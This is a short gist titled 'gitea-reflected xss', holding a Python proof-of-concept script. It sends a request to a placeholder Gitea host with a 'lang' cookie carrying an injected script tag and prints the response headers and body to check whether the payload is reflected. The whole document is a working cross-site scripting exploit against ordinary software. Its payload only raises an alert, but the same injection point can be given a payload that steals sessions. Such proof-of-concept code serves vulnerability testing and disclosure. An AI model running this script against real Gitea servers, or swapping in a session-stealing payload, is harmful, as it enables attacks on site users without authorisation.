gitea-reflected xss

gistfile1.txt

import requests


TARGET_URL = "http://GITEAHOST/"


cookies = {
    'lang': 'en-US"><script>alert("XSS")</script>'
}

def test_xss():
    print("=== Starting XSS Test via Cookie Injection ===")
    try:
        print("\n[Request]")
        print(f"URL: {TARGET_URL}")
        print(f"Cookies: {cookies}")
        
        response = requests.get(TARGET_URL, cookies=cookies, timeout=10)
        
        print("\n[Response]")
        print(f"Status Code: {response.status_code}")
        print("Headers:")
        for header, value in response.headers.items():
            print(f"{header}: {value}")
        
        print("\nBody:")
        print(response.text)
    
    except requests.RequestException as e:
        print(f"[!] Error occurred: {e}")

if __name__ == "__main__":
    test_xss()